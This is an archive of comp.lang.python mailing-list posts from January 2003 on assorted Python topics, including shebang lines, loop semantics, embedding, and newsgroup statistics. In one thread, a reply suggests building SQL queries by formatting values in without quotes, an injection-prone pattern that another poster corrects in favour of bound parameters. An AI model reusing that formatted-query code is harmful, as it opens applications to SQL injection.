> commands if anyone can fill them in for me.

kind of a meta-answer: the best cvs front-end for windows (or linux,
for that matter) is smartcvs.  the free version is quite good, and if
you want the extra features in the payware version it's quite
affordable.

-Jonathan



From dglenn at charter.net  Wed Jan 15 17:42:17 2003
From: dglenn at charter.net (Doug Glenn)
Date: Wed, 15 Jan 2003 17:42:17 -0500
Subject: Warning! Newbie issue - Impersonating a user on Win32
In-Reply-To: <web-2072794@dc-mxdb02.cluster1.charter.net>
References: <web-2072794@dc-mxdb02.cluster1.charter.net>
Message-ID: <200301151742.17236.dglenn@charter.net>

On Wednesday 15 January 2003 12:01, Doug Glenn wrote:
> Greetings,
>
> I have run into a roadblock and I cannot figure it out :(
> A portion of the following code came from the Python
> cookbook. That code followed verbatim gives me a
> Exception: pywintypes.api_error (1314, 'LogonUser', 'A
> required privilege is not held by the client.'). Poking

Slack of me, but the first section is a list of arguments to 
AdjustPrivileges.

And by doing a search on this newsgroup, this is the not the first time 
this particular script has come up for scrutiny... but the previous 
posts did not have a fix either listed.

So am I out of luck?

Doug




From andy at eastonwest.co.uk  Fri Jan 10 17:02:18 2003
From: andy at eastonwest.co.uk (andy)
Date: Fri, 10 Jan 2003 22:02:18 +0000
Subject: no side effects
In-Reply-To: <1042051058.1368.1868.camel@software1.logiplex.internal>
References: <2259b0e2.0301080510.3b2e5d4f@posting.google.com> <1042051058.1368.1868.camel@software1.logiplex.internal>
Message-ID: <200301102202.18149.andy@eastonwest.co.uk>

On Wednesday 08 Jan 2003 6:37 pm, Cliff Wells wrote:
> On Wed, 2003-01-08 at 05:10, Michele Simionato wrote:
> > I was surprised by the following code:
> > >>> for i in [1,2,3]:
> >
> > ...     print i,
> > ...     i=3
> >
> > I would have expected only 1 to be printed, but instead Python
> > continues the loop without noticing that the value of i has
> > changed. IOW, no side effect.
>
> You've gotten a lot of detailed responses, but maybe this will make it
> clearer:
>
> _l = [1,2,3]
> for _i in range(len(_l)):
>     i = _l[_i]
>     print i,
>     i = 3
>
>
> In this case you obviously wouldn't expect assigning 3 to i to change
> the loop, yet this is similar to what is happening in the case you
> presented, except that _i is created implicitly by the interpreter and
> is hidden from normal Python programs.
>
> Regards,

Has to be noted, also, that many other languages would exhibit either the same 
behaviour or even random effects, due to loop optimizations, such as keeping 
the loop variable in a machine register, or even unfolding the loop.  But in 
any case, most languages' /for/ loop iterates over a sequence of ordinals, 
not a list...

isn't it more like this?

p=0 # internal loop counter
lst=[1,2,3] # the list to enumerate
while p<len(lst): # control loop
    i=lst[p] # get the current list item
    print i
    i=3
    p+=1 # increment loop control counter

Or am I missing the point completely?

-andyj




From max at alcyone.com  Thu Jan  9 18:55:16 2003
From: max at alcyone.com (Erik Max Francis)
Date: Thu, 09 Jan 2003 15:55:16 -0800
Subject: Use /usr/bin/env python  ... why?
References: <8b67aef5.0301091244.1c6caec1@posting.google.com>
Message-ID: <3E1E0BE4.1556EDD6@alcyone.com>

Tim Cargile wrote:

> Use '#!/python' when:

This cannot be what you really have meant.

> Use '#!env python' when:

It's unlikely that this was either.

> Oh well, at least I have not seen these:
> 
>  #!env /usr/bin/python
> 
>    and
> 
> #!/usr/bin/env /usr/bin/python
> 
> These works also, but have yet to observe them in the wild.

Because they defeat the purpose of using env in the first place.

A few points here:

You're not guaranteed that env will be in /usr/bin, although admittedly
it's pretty rare that it is not.

/usr/bin/env python searches the PATH for the first executable named
`python' and sets up the environment appropriately.  This has the
benefit of having a good chance of finding a Python interpreter, but has
the downside that you don't have much choice in which one is chosen (if
there are multiple installed on the same system).  Furthermore, which
one it finds is dependent on the PATH, and the PATH can vary quite a bit
between interactive shells, CGI scripts, and cron jobs.  For instance,
if you are in the (not uncommon) situation where a legacy interpreter is
in /usr/bin (possibly one that the installation requires, like in the
case of Red Hat) and a newer one is /usr/local/bin, you're almost
certain to find that scripts requiring the more recent interpreter will
work in interactive shells but won't work in cron jobs or CGI scripts
(because env will find the legacy interpreter, not the new one).

A slightly better way is searching for the version you want, e.g.
/usr/bin/env python2.2, but that presents its own share of problems,
namely limiting yourself in precisely which interpreter gets found (that
is, env exists to find it for you, and you're now limiting it).

A hard-coded path such as /usr/bin/python or /usr/local/bin/python is
restrictive but will be guaranteed to get what you want, should what you
want be in those locations.

As I said in another thread, there's really no "magic bullet," since
PATHs can vary from invocation to invocation.  I personally tend to
prefer /usr/local/bin/... in the bangpath simply because I default to
assuming that one has control over what's in /usr/local/bin and thus can
rely on that being more likely to be the version that is desired. 
Obviously, that can't always be true, but one can always manually change
the bangpath.  I find that the often surprising unpredictability of
using env on systems with multiple Python interpreters far outweighs the
helpfulness of having things "work out of the box."

-- 
 Erik Max Francis / max at alcyone.com / http://www.alcyone.com/max/
 __ San Jose, CA, USA / 37 20 N 121 53 W / &tSftDotIotE
/  \ The great floodgates of the wonder-world swung open.
\__/ Herman Melville
    CatCam / http://www.catcam.com/
 What do your pets do all day while you're at work?  Find out.



From maxm at mxm.dk  Tue Jan 14 12:47:00 2003
From: maxm at mxm.dk (Max M)
Date: Tue, 14 Jan 2003 18:47:00 +0100
Subject: [OT] Seeking Minimal Python Project Name
In-Reply-To: <3e22b7f7@news.swissonline.ch>
References: <3e22b7f7@news.swissonline.ch>
Message-ID: <3E244D14.2070400@mxm.dk>

F. GEIGER wrote:
> Seems somebody has started a competition in finding names for Minimal
> Python.


How could it be called anything but Pytit?

(Petit -> french for small)

;-)

regards Max M

-- 

hilsen/regards Max M

http://www.futureport.dk/
Fremtiden, videnskab, skeptiscisme og transhumanisme




From tom.vanlaerhoven### at luc.ac.be  Thu Jan 16 14:31:47 2003
From: tom.vanlaerhoven### at luc.ac.be (Pakewak)
Date: Thu, 16 Jan 2003 20:31:47 +0100
Subject: SIP Python bindings generator - nested templates
Message-ID: <b071bo$msc$1@naxos.belnet.be>

Hi,

The SIP generator doesn't seem to allow nested template types. I have a 
method called:

virtual plSMat<plSquareMatrix<double>,3> GetOrientationMatrix() const;

Now I manually added the code for this function in the generated code, which 
works, but this is not very convenient. Is there a work-around for SIP for 
this problem?

I also searched for a directive (like %HeaderCode) that just copies the 
enclosed code into the generated code without processing. There doesn't 
seem to be one. Something like "%HeaderCode", but one which doesn't replace 
the code at the top.

Any ideas?

Thanks,
Tom.



From BgPorter at NOartlogicSPAM.com  Tue Jan 28 09:54:40 2003
From: BgPorter at NOartlogicSPAM.com (Brett g Porter)
Date: Tue, 28 Jan 2003 09:54:40 -0500
Subject: python weblog apps?
References: <mailman.1043712589.29180.python-list@python.org>
Message-ID: <J8SdnelIA738BKujXTWcow@comcast.com>

"Chris Miles" <chris_py004 at psychofx.com> wrote in message
news:mailman.1043712589.29180.python-list at python.org...
> I am after a simple weblog for a project, and I see
> a number of php weblog apps around, but have not
> found a Python-based one.
>
> If you know of one you can point me at, that'd be
> great.

Vellum http://www.kryogenix.org/code/vellum/ looks pretty interesting --
it's hosted on the server (like Movable Type is), and has what appears to be
a pretty cool plugin architecture.



--
//  Today's Oblique Strategy (? Brian Eno/Peter Schmidt):
//  Work at a different speed
//  Brett g Porter * BgPorter at acm.org







From skip at pobox.com  Fri Jan 24 12:33:49 2003
From: skip at pobox.com (Skip Montanaro)
Date: Fri, 24 Jan 2003 11:33:49 -0600
Subject: killing thread ?
In-Reply-To: <7xadhq8o6u.fsf@ruckus.brouhaha.com>
References: <b0r1ds$10s0fi$1@hades.rz.uni-sb.de>
        <mailman.1043410542.25830.python-list@python.org>
        <b0rhl7$112v7d$2@hades.rz.uni-sb.de>
        <b0rkdb$g9l$01$1@news.t-online.com>
        <7x3cni1sqp.fsf@ruckus.brouhaha.com>
        <b0rmru$6hb$04$1@news.t-online.com>
        <7xn0lqbkmh.fsf@ruckus.brouhaha.com>
        <3E31666F.8060605@v.loewis.de>
        <7xy95azf09.fsf@ruckus.brouhaha.com>
        <mailman.1043427344.24979.python-list@python.org>
        <7xadhq8o6u.fsf@ruckus.brouhaha.com>
Message-ID: <15921.30973.72260.571762@montanaro.dyndns.org>

    Paul> On the Mac, you'd use SIGUSR2.  I don't see what's so hard to
    Paul> understand about this.  Threads are an OS-specific feature to
    Paul> begin with.  You have to expect the internal interface to them to
    Paul> also not necessarily be the same for every OS.

I don't think most people misunderstand what you're saying, it's just that
they have a different take on things than you.  Python tries very hard to
make threads less OS-specific.  That necessarily means you miss out on some
capavility.  Maybe that's not the way it should be.  If you'd like things
done differently, I suspect you'll have to convince Guido.

Skip





From johnroth at ameritech.net  Fri Jan  3 20:55:02 2003
From: johnroth at ameritech.net (John Roth)
Date: Fri, 3 Jan 2003 20:55:02 -0500
Subject: how to extract source code from code objects ?
References: <2259b0e2.0301020814.2cbeb25c@posting.google.com>
Message-ID: <v1cfmudmb7c048@news.supernews.com>

"Michele Simionato" <mis6 at pitt.edu> wrote in message
news:2259b0e2.0301020814.2cbeb25c at posting.google.com...
> I can compile a string in a code object:
>
> >>> code_object=compile('x=1','<string>','exec')
>
> now the code_object.co_code attribute contains the bytecode
corresponding
> to the statement x=1:
>
> >>> code_object.co_code
> '\x7f\x00\x00\x7f\x01\x00d\x00\x00Z\x00\x00d\x01\x00S'
>
> Is there a way to have back the source code, i.e. the string 'x=1'
> instead of the bytecode ?
> TIA,

Look at the "inspect" module - it's 3.11 in the 2.2 Python Library
Reference.
I think this may do exactly what you want. It does, of course, require
that you have the source modules availible.

John Roth
>
>
> --
> Michele Simionato - Dept. of Physics and Astronomy
> 210 Allen Hall Pittsburgh PA 15260 U.S.A.
> Phone: 001-412-624-9041 Fax: 001-412-624-9163
> Home-page: http://www.phyast.pitt.edu/~micheles/





From akjmicro at yahoo.com  Sat Jan 25 18:04:13 2003
From: akjmicro at yahoo.com (Aaron K. Johnson)
Date: Sat, 25 Jan 2003 17:04:13 -0600
Subject: December 2002 comp.lang.* stats
References: <b0tctd$9cn$1@bob.news.rcn.net> <mailman.1043502285.20597.python-list@python.org> <b0ubqb$oiv$3@bob.news.rcn.net> <3E32E5D6.82887F98@engcorp.com> <b0usjm$jsl$1@bob.news.rcn.net> <mailman.1043529946.4534.python-list@python.org>
Message-ID: <b0v54g$gia$1@bob.news.rcn.net>

In message <mailman.1043529946.4534.python-list at python.org>, Laura Creighton
wrote:
> > In message <3E32E5D6.82887F98 at engcorp.com>, Peter Hansen wrote:
> > > "Aaron K. Johnson" wrote:
> > > > 
> > > > A person is what counts as a 'unique poster'. A message ID alone
> would no
> > t
> > > > measure the 'user base' factor "im interested in.
> > > > 
> > > > Spam is still a problem to consider. It's not perfect yet.......
> > > 
> > > Spam is probably a problem best ignored.  It would probably
> > > affect all those groups equally anyway.
> > > 
> > > -Peter
> > 
> > I agree. Plus, I'm not interested in working THAT hard to be that
> > anal-retentive about data which some would argue is still vague enough to
> be
> > discounted.
> > 
> > -Aaron. 
> 
> Just FYI -- I am aware this is something that you are mostly doing for
> fun, and don't want to spoil it for you -- but you mentioned that you
> wanted to be 'more scientific' about this.  This question -- do
> I bother with this data?  is it significant?  is the meat of the
> 'is what I am doing science' question.  I also want to check to make
> sure that you are aware that 'I don't know the factors which contribute
> to having X in set Y' or even 'Nobody knows' or 'It is impossible to
> know' implies 'it will affect all sets equally'.  That belief is bad
> science.

uh-oh. the science police! ;)

yes, Laura, I'm aware that there are too many unknowns to make this hardcore.
I'm just having fun, solving problems w/Python, and enjoying the fame that it's
generating among all five of you who wrote back.

Plus, I'm enjoying seeing python come out above perl and javascript (after I'd
eliminated a bug!).

Cheers,
Aaron.





From andrew at logicalprogression.net  Tue Jan 14 14:37:24 2003
From: andrew at logicalprogression.net (Andrew Veitch)
Date: Tue, 14 Jan 2003 19:37:24 +0000
Subject: Automating Web Interfaces with Python
Message-ID: <BA4A1774.7E46%andrew@logicalprogression.net>

In a word Zope.

Check out http://www.zope.org/

I'm a huge fan, just about everything we do is in Zope.

A

-- 
Logical Progression Ltd, 16 Forth Street, Edinburgh EH1 3LH, UK
Tel: +44 (0)131 466 9585 Web: http://www.logicalprogression.net/





From clifford.wells at attbi.com  Sat Jan  4 13:45:23 2003
From: clifford.wells at attbi.com (Cliff Wells)
Date: 04 Jan 2003 10:45:23 -0800
Subject: new years resolutions
In-Reply-To: <2292.3e16c91f.9dd65@basilisk>
References: <mailman.1041550805.3550.python-list@python.org>
	 <x77kdm98f8.fsf@guru.mired.org> <3E159EC6.CC98EB08@engcorp.com>
	 <mailman.1041641110.13072.python-list@python.org>
	 <3E164F92.58798556@engcorp.com>  <2292.3e16c91f.9dd65@basilisk>
Message-ID: <1041705923.6001.32.camel@x1-6-00-04-5a-64-c4-03>

On Sat, 2003-01-04 at 03:44, Pieter Nagel wrote:
> Peter Hansen wrote:
> 
> > True.  I'm hoping to help a few people break free of the bonds of their
> > experience to date and consider that many different things are actually
> > just "programming", and perhaps thereby discover interesting ways to 
> > transfer the useful patterns they have learned into new areas.
> 
> You are must likely right that people with a Computer Science background 
>   tend to insist on limiting the term "programming language" to mean 
> Turing Completeness, and only that.
> 
> But I don't thing it is due to an "ivory tower" attitude. In science, 
> one tends to have rigorous definitions of concepts and try to stick to 
> them, so everyone can understand what the are talking about.

If I might channel Peter for a moment ;)  I think you miss his point. 
He was contrasting the computer scientist (and let's not get into what
that means ;) with the engineer.  By ivory tower he was referring to the
fact that CS tends toward theory and ideal situations whereas for
someone with an engineering background it's all nuts and bolts.  To an
engineer, ASCII might certainly qualify as a "programming language"
(especially when sent to something like a video chipset, which acts
directly upon, and in a sense, is controlled by the ASCII codes).  A CS
major would probably disagree, but it's a matter of perspective.

> For example, maybe there is a "experience broadening" benefit for 
> doctors to call "dispensing prescriptions" and "surgery" one and the 
> same thing - both involve curing conditions by getting substances 
> (chemicals or steel) into the body.

But you take the analogy in the wrong direction.  The person with the CS
background is the one making the broad abstractions, ignoring things
such as physical memory, register sizes, number of registers, etc. 
Computing at a low level is very different that a HLL will tell you.  

In short, to a CS major, computing is described in terms of programming
languages and data structures, so these distinctions are important.  To
an engineer computing is described in terms of how hardware responds to
data being run through it (whether it's considered code or data is
unimportant).

> But I doubt you'd get anybody with a medical background to concur. Else, 
> you'd end up in the situation of picking a book about "Surgery" off the 
> library shelf and not knowing whether it is about diet or cutting people up.

Ah, but you are equating "computer background" with "CS background"
which ignores a large segment of knowledgeable people.  There is a guy
at my work who built a serial IO card using nothing but a pen plotter to
etch the circuit board, a small processor (and a couple of support
chips) and his own custom firmware.  I doubt many CS majors could do the
same, yet they would somehow exclude his POV in favor of their own,
despite the fact that their entire world ceases to exist without people
like him.  Ask yourself, is computing about software, or about
hardware?  Obviously both, but I can assure you that hardware without
software is far more useful than the reverse <wink>.

-- 
Cliff Wells <clifford.wells at attbi.com>





From martin at v.loewis.de  Sat Jan 18 06:55:08 2003
From: martin at v.loewis.de (Martin v. =?iso-8859-15?q?L=F6wis?=)
Date: 18 Jan 2003 12:55:08 +0100
Subject: Overloading methods in C API
References: <2ufi2vkrpg6rikt5sv0tf5f8klfruerqlg@4ax.com>
Message-ID: <m33cnq4qqr.fsf@mira.informatik.hu-berlin.de>

Afanasiy <abelikov72 at hotmail.com> writes:

> How is it expected I create overloaded methods/functions in the C API?

This is not possible. Overloading of methods is not supported in Python.

Regards,
Martin



From aleax at aleax.it  Thu Jan 30 11:23:47 2003
From: aleax at aleax.it (Alex Martelli)
Date: Thu, 30 Jan 2003 16:23:47 GMT
Subject: Implicit lists
References: <mailman.1043941231.14659.python-list@python.org>
Message-ID: <nkc_9.143679$AA2.5880110@news2.tin.it>

Mark McEahern wrote:
   ...
> As a complement to what Alex wrote, I'd suggest writing unit tests that
> document how you expect aslist to work with various types; e.g.,

VERY good suggestion.  Yes yes yes.  ALWAYS write unit tests.  I'll
have to remember to add some next time I give some such example,
just to remind everybody -- so, thanks for making the point!


Alex




From bkc at Murkworks.com  Thu Jan 30 10:03:39 2003
From: bkc at Murkworks.com (Brad Clements)
Date: Thu, 30 Jan 2003 10:03:39 -0500
Subject: xforms (W3C) intepreter in Python?
Message-ID: <3e393e41_1@spamkiller.newsgroups.com>

I've been playing the DHTML, XML-RPC & Zope game for 2 years now, and am
ready to move on to something more cross platform and robust.

For data entry, I've been looking at xforms (the W3C standard, not the Linux
frame buffer gui).

I like the idea of Xforms, and would like to tinker with an xforms
"interpreter" that could support "bolt-on" GUI's. I don't want to be tied to
just wxPython, Swing (via Jython) or even win32gui.

Anyone else looking at xforms?

I'd like the "interpreter" to run in CPython and Jython, and be abstract
enough to support any gui.

I'm soliciting comments.

--
Novell DeveloperNet Sysop #5

_




-----------== Posted via Newsfeed.Com - Uncensored Usenet News ==----------
   http://www.newsfeed.com       The #1 Newsgroup Service in the World!
-----= Over 100,000 Newsgroups - Unlimited Fast Downloads - 19 Servers =-----



From bryan at pyzine.com  Tue Jan 14 14:57:59 2003
From: bryan at pyzine.com (Bryan Richard)
Date: 14 Jan 2003 11:57:59 -0800
Subject: [OT] Seeking Minimal Python Project Name
In-Reply-To: <57de9986.0301141015.30a66906@posting.google.com>
References: <3e22b7f7@news.swissonline.ch> 
	<57de9986.0301141015.30a66906@posting.google.com>
Message-ID: <1042574279.1140.131.camel@p3local>

On Tue, 2003-01-14 at 10:15, Giles Brown wrote:
> "F. GEIGER" <fgeiger at datec.at> wrote in message news:<3e22b7f7 at news.swissonline.ch>...
> > Seems somebody has started a competition in finding names for Minimal
> > Python.

Pynt

Pronounced Pint.

- Bryan





From gerhard.haering at gmx.de  Tue Jan  7 19:15:11 2003
From: gerhard.haering at gmx.de (Gerhard =?iso-8859-1?Q?H=E4ring?=)
Date: Wed, 8 Jan 2003 01:15:11 +0100
Subject: Help: Omitting quotes from SQL Queries.
In-Reply-To: <jDDS9.21510$9N5.1944093@newsread2.prod.itd.earthlink.net>
References: <2356598.1041950714@dbforums.com> <jDDS9.21510$9N5.1944093@newsread2.prod.itd.earthlink.net>
Message-ID: <20030108001511.GB723@lilith.ghaering.test>

* taocairns <nospam at earthlink.net> [2003-01-07 16:54 +0000]:
> keithk wrote:
> >Hi All,
> >
> >I am using an mx.ODBC connection to MSSQL and am iterating through a
> >list to get data from the DB, for eg:
> >
> >for fileName in fileNameList:
> >        cursor.execute("SELECT fileSize FROM database where
> >        database.filename = '%s'" % fileName)
> >        fileSizes = cursor.fetchall()
> >
> >However, when it iterates through the list and fileName equals something
> >like "Hello World's" with a single quote inside the query fails as the
> >string is ended prematurely, does anybody know how I can solve this?
> >
> >Thanks in advance,
> >
> >Keith
> >
> >--
> >Posted via http://dbforums.com
> 
> Try unquoting the placeholder (%s):

This makes it even worse.

> for fileName in fileNameList:
>          cursor.execute("SELECT fileSize FROM database where
>          database.filename = %s" % fileName)
>          fileSizes = cursor.fetchall()

Use DB-API bound parameters, like I showed in my other answer.

Gerhard
-- 
Favourite database:             http://www.postgresql.org/
Favourite programming language: http://www.python.org/
Combine the two:                http://pypgsql.sf.net/
Embedded database for Python:   http://pysqlite.sf.net/




From mis6 at pitt.edu  Mon Jan  6 10:57:23 2003
From: mis6 at pitt.edu (Michele Simionato)
Date: 6 Jan 2003 07:57:23 -0800
Subject: Newbie need's help & will give back what I can???
References: <eB0S9.20176$Sa3.725600@twister.tampabay.rr.com> <tDOdnTBd18nKeYWjXTWc2Q@comcast.com>
Message-ID: <2259b0e2.0301060757.3f72e932@posting.google.com>

"Justin Shaw" <wyojustin at hotmail.com> wrote in message news:<tDOdnTBd18nKeYWjXTWc2Q at comcast.com>...
> <fcoldwat at tampabay.rr.com> wrote in message
> news:eB0S9.20176$Sa3.725600 at twister.tampabay.rr.com...
> > Hay this Shane.....
> >     Ive been a computer geek my whole life and know alot about them....I
>  had
> > a hard time in my life growing up and money problems...I have learnd all I
> > know up till now and need some help with programming...This is my problem,
>  I
> > cant memorize all the diffrent terms that are used or the format which the
> > language Python is in....Thats ok I will get with time,,I need some very
> > easy projects to start with is all....Just till I get used to all
>  this...And
> > yes this is my first time programming to...But im a quick learner and am
>  not
> > scared to jump into this...I jumped into redhat linux 7.2 and had no
>  problem
> > running it...Just was a new OS and had to get used to it...Send what you
>  can
> > to help me in anyway at redlinux293 at juno.com I will be so happy to see
> > somthing...This is my dream to program...I cant afford schooling and I
> > belive in freeware because I wouldent be whare im at with out it....Thank
> > you for reading this....I do need help to anything that will point me in
>  the
> > right direction of programming....
> >
> >
> 
> Shane,
> 
> Start here http://www.python.org/doc/current/tut/tut.html.  Work all of the
> examples on your computer while you read.  Then start small, write a
> function that sorts a list, one that prints the current time in English.
> Ask again if you run into any hurdles.
> 
> Justin

Much better if you start from http://www.python.org/doc/Newbies.html
And notice that there is a tutor mailing list.

        Michele



From wilk-spamout at flibuste.net  Sat Jan 25 04:15:07 2003
From: wilk-spamout at flibuste.net (William)
Date: 25 Jan 2003 10:15:07 +0100
Subject: December 2002 comp.lang.* stats
References: <b0tctd$9cn$1@bob.news.rcn.net>
Message-ID: <877kct1tgk.fsf@flibuste.net>

Aaron K. Johnson <akjmicro at yahoo.com> writes:

> Ok.
> 
> I've finally taken into account the objections raised herein, and modified my
> usenet query algorithms.
> 
> What you see below are pure and simple the number of unique posters to each
> comp.lang.whatever hierarchy in December 2002.

can you give us your script ? i would like to compare with fr.comp.lang.*

> 
> Thanks,
> Aaron.
> 
> comp.lang.java 5347
> comp.lang.c++ 3075
> comp.lang.perl 2136
> comp.lang.javascript 2130
> comp.lang.python 1996
> comp.lang.basic 1758
> comp.lang.c 1670
> comp.lang.labview 958
> comp.lang.clipper 922
> comp.lang.tcl 853
> comp.lang.pascal 805
> comp.lang.ruby 767
> comp.lang.clarion 707
> comp.lang.lisp 587
> comp.lang.fortran 517
> comp.lang.smalltalk 391
> comp.lang.asm 386
> comp.lang.cobol 382
> comp.lang.ada 376
> comp.lang.vhdl 370
> comp.lang.scheme 349
> comp.lang.postscript 319
> comp.lang.prolog 243
> comp.lang.functional 237
> comp.lang.idl-pvwave 230
> comp.lang.forth 226
> comp.lang.verilog 223
> comp.lang.awk 211
> comp.lang.vrml 153
> comp.lang.rexx 147
> comp.lang.apl 142
> comp.lang.mumps 126
> comp.lang.pl1 121
> comp.lang.misc 115
> comp.lang.objective-c 108
> comp.lang.eiffel 101
> comp.lang.logo 80
> comp.lang.ml 73
> comp.lang.asm370 65
> comp.lang.dylan 38
> comp.lang.modula3 30
> comp.lang.oberon 26
> comp.lang.modula2 23
> comp.lang.pop 22
> comp.lang.icon 17
> comp.lang.idl 15
> comp.lang.limbo 5
> comp.lang.clos 4
> comp.lang.prograph 2
> comp.lang.clu 2
> 

-- 
William Dode - http://flibuste.net



From imbosol at vt.edu  Mon Jan 27 00:47:19 2003
From: imbosol at vt.edu (Carl Banks)
Date: Mon, 27 Jan 2003 05:47:19 GMT
Subject: How to do this in Python...
References: <b0pnfa$o8m2@eccws12.dearborn.ford.com> <3E31568E.FD9C92B5@engcorp.com> <b0s6fq$95s5@eccws12.dearborn.ford.com> <p9EY9.499$qb1.122@nwrddc01.gnilink.net> <b11pl8$llf$1@wheel2.two14.net>
Message-ID: <HJ3Z9.987$P64.136@nwrddc02.gnilink.net>

Martin Maney wrote:
> This seems to me to be, very simply, an area where Python's
> intentionally chosen limitations make it awkward to compose a clear and
> robust solution, at least in the general case.

You've voiced you opinion about this before, if I remember correctly.
Python is not going to add an assignment expression just so you can do
this stupid, irrelevant thing without a little awkwardness.  Live with
it.


(And, frankly, I'm rather annoyed that you've come to this
two-sample-point "conclusion" without examining the method I gave in
the very post you responded to.)


-- 
CARL BANKS



From werpu at operamail.com  Thu Jan 23 21:46:15 2003
From: werpu at operamail.com (Werner Purrer)
Date: 23 Jan 2003 20:46:15 -0600
Subject: People have started mailing me ms-word docs (groan).
References: <mailman.1043368965.4673.python-list@python.org>
Message-ID: <3e30a86b$0$69409$45beb828@newscene.com>

Laura Creighton wrote:

> Saving the attatchment and then opening them with OpenOffice is getting
> tedious.  Has anybody written a python program that runs under linux
> and converts ms-word MIME attatchments to something readable?
> 
I think there is a command line filter tool somewhere in the OpenOffice file
hierarchy, don't know the name, but I can clearly remember that it exists
(read about it a while ago). Not really python related but I think this is
your best shot.


-- 
Memory Dragon



From martin at v.loewis.de  Sat Jan 25 16:10:54 2003
From: martin at v.loewis.de (Martin v. =?iso-8859-15?q?L=F6wis?=)
Date: 25 Jan 2003 22:10:54 +0100
Subject: embedding python, missing symbols
References: <mailman.1043488125.24424.python-list@python.org> <b0tr60$cls$1@mamenchi.zrz.TU-Berlin.DE> <mailman.1043527715.18984.python-list@python.org>
Message-ID: <m3r8b1szoh.fsf@mira.informatik.hu-berlin.de>

Jack Diederich <jack at performancedrivers.com> writes:

> > > gcc -I<path to Python.h> ./libpython2.2.a example.c
> > gcc -o example.o -I<path to Python.h> example.c
> > gcc example.o -o example -L<path to Python-libs> -lpython2.2
> The -L<path> -l<name> combination gets translated to the plainer
> full-path of the actual .a lib.  It's a lot more flexible for distributing
> makefiles, but equivalent to the above.

No, it's not. You are passing libpython2.2.a first; this is
incorrect. In the second invocation, -lpython2.2 is passed last.

> I get the same errors
> /tmp/cce2iMj2.o(.text+0x31): undefined reference to `Py_Initialize'
> /tmp/cce2iMj2.o(.text+0x41): undefined reference to `PyString_FromString'
> /tmp/cce2iMj2.o(.text+0x52): undefined reference to `PyImport_Import'
> <snip>
> /tmp/cce2iMj2.o(.text+0x295): undefined reference to `Py_Finalize'

I can't really believe that. Are you sure you are invoking the
compiler precisely as suggested?

Regards,
Martin




From judoscript at hotmail.com  Fri Jan 10 00:45:00 2003
From: judoscript at hotmail.com (James Huang)
Date: 9 Jan 2003 21:45:00 -0800
Subject: Novel Thoughts on Scripting and Languages
References: <52719db8.0301062130.5299a0ff@posting.google.com> <dcuk1vgg1vel593evttuc99f9m5eq646i5@4ax.com> <b03e80d.0301070427.6db0ff67@posting.google.com> <52719db8.0301072113.3c143cfe@posting.google.com> <geVS9.14961$oS1.61201@news-server.bigpond.net.au> <52719db8.0301082209.5860f86d@posting.google.com> <4ZdT9.17928$oS1.72693@news-server.bigpond.net.au>
Message-ID: <52719db8.0301092145.79cb5312@posting.google.com>

"Neil Hodgson" <nhodgson at bigpond.net.au> wrote in message news:<4ZdT9.17928$oS1.72693 at news-server.bigpond.net.au>...
> James Huang:
> 
> > For the lack of words, try this: scroll back to your response of
> > "do_sgml()" to my "do .. as sgml" example, move back 3 feet, and see
> > if you can understand what my code does and what yours does. :)
> 
>    Of course my answer is the inverse of yours. You prefer syntax that
> avoids punctuation. I did actually find it hard to work out what some of

Avoid punctuation? Multiple statements for a single task? If so that's
right. Especially if you can avoid 10 or 20 punctuations for common
areas.

> your examples did. In the first example on the XML section of the site, my
> initial interpretation was that it was some form of tree transformation -
> choosing '.' as a print command is unusual even if not novel.

Many people have said that. My bad that I was too laze to use
'println'. Thanks for pointing that out. For XML, it could also be
caused by the hint of a DOM tree.

> 
> > I hate visual polutions, especially in code. I
> > love simplicity, extremely. Count this as part of the vision.
> 
>    But you are not really creating simplicity, just moving it around the
> system. Where you see an embedded domain-specific syntax with a backup use
> of an API, Andrew (and I) see a non-scalable solution. You may start with

These conveniences makes it great for scripting (pls refer to my
definition of this term in 'JH-Grant Edwards-JH-Dave Brueck-JH') and I
recommend NOT to use JudoScript for building large software (but use
Java) hence scalability is not an issue.

> simple quoted pieces of an embedded language where everything is constant.
> Then you get to insert values with '(*var*)' then the domain syntax runs out
> and you have to move to an API which places a jump in the otherwise smooth
> slope of development.

Compromise, what else?

> 
>    Neil



From jlh at cox.net  Wed Jan 15 23:25:30 2003
From: jlh at cox.net (Jeff Hinrichs)
Date: Thu, 16 Jan 2003 04:25:30 GMT
Subject: Interesting problem comparing strings with integer values...
References: <cvqb2vge6101f1l0sp20pmvdfgql84r1nt@4ax.com> <200301160002.QAA08652@mail.arc.nasa.gov> <f8ub2vc611s4fvg4aqqc5lo9pmvcjsl66t@4ax.com> <mailman.1042682272.26642.python-list@python.org> <6k5c2vcjc2c565orhe5s21o12hllhe0rbm@4ax.com>
Message-ID: <_uqV9.4336$qU2.1077@news1.central.cox.net>

[...snip...]
> Programming is about solving problems.  I asked a programming question
> with a certain number of constraints as to what the solution could be.  I
do NOT
> think it's off topic for this newsgroup just because you don't like the
> constraints.  If you can't help me, that's okay.  But please don't flame
me.
>
> Chris.
The solution to your problem falls back to older language implementation of
similiar
constraints (ala COBOL/ISAM) you must define all numeric fields.
-0000000001.00000
+0000000000.00000
+0000000001.00000
All fields will have to be padded.  You can convert them to what ever format
when you present them
to the user but in the DB they must all be the same length, storing the
decimal isn't necessary but you will
have to define how many there are when you store and retrieve.  All numbers
must carry signs if negatives
are possible.  You won't be able to store arbitrary precision or size.  This
will allow you to index and
compare them the way that you want.  You convert with a function like

def cvtString2Float(dec=5,places=10, stringValue):
    # Here you whack away with stringValue[] to get sign, value right of
decimal, value left of and then cast and return
    return floatValue

going the other way:

def cvtFloat2String(dec=5,places=10,floatValue):
   # left as exercise for reader
  return stringValue

I've worked on junk like this before and if there was a better way I haven't
met a grey hair/beard that knew how.<g>
have fun!





From imbosol at vt.edu  Sun Jan  5 02:53:36 2003
From: imbosol at vt.edu (Carl Banks)
Date: Sun, 05 Jan 2003 07:53:36 GMT
Subject: php vs python
References: <mailman.1041625688.13638.python-list@python.org> <3e16006e$0$230$edfadb0f@dread12.news.tele.dk> <3e160151$0$49101$e4fe514c@news.xs4all.nl> <3E1621F2.C9FA1D6F@engcorp.com> <ba0f1v0hrn572t8tnntkrcfju4e6fkcgob@4ax.com> <av82af$6eu$1@knot.queensu.ca> <20030104212105.22506d99.pythonhda@yahoo.com.replacepythonwithlinux> <9glf1v49v9920fh2ei8tlhqhrkf45j06ol@4ax.com>
Message-ID: <4wRR9.5$BL.1@nwrddc03.gnilink.net>

Afanasiy wrote:
> On Sat, 4 Jan 2003 21:21:05 -0500, pythonhda
